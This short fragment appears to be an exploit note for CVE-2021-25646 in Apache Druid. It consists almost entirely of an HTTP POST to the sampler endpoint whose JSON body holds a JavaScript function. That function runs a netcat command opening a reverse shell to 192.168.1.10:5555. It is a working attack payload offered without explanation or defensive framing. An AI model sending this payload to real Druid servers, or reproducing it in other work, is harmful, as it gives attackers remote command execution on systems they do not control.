CVE-2021-25646 Apache Druid JavaScript RCE漏洞
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POST /druid/indexer/v1/sampler HTTP/1.1
...
...
{"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('nc 192.168.1.10 5555 -e /bin/sh')}"